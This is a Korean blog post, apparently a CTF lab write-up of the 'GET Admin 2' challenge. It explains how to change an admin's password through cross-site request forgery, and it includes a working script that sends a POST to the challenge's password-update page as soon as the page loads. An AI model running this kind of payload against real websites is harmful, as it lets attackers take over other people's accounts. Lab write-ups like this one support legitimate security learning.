상세 컨텐츠

본문 제목

Segfault CTF - (12주 차) GET Admin 2

컴퓨터/보안 - CTF문제

by 디멘터 2024. 7. 8. 00:19

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - GET Admin 2

 

1. 목표 : $ID_admin계정을 탈취하여 Flag획득

 

2. 접근 방법 

  • GET Admin 1과 거의 같은데, 비밀번호 변경 로직에서 GET으로 날리니까 안되어서 POST로 해야 한다.

3. 문제 해결

<script>
window.onload = function() {
    fetch("http://ctf.segfaulthub.com:7575/csrf_2/mypage_update.php", {
        method: "POST",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded"
        },
        body: "id=&info=&pw=123"
    })
};
</script>

 

 

 

 

이제 관리자로 로그인을 하면

 

플래그를 획득 했다.

 

 

POST 비동기로 날리는 스크립트를 잘 몰라서 코드는 GPT에게 물어봤다.

 

  • 이 문제의 핵심은 GET method로 비밀번호 변경이 안되고,
    iframe으로 하면 또 alert가 뜨기 때문에(시도 해봤음),
    POST로 보내면서 비동기처리를 하면된다.

관련글 더보기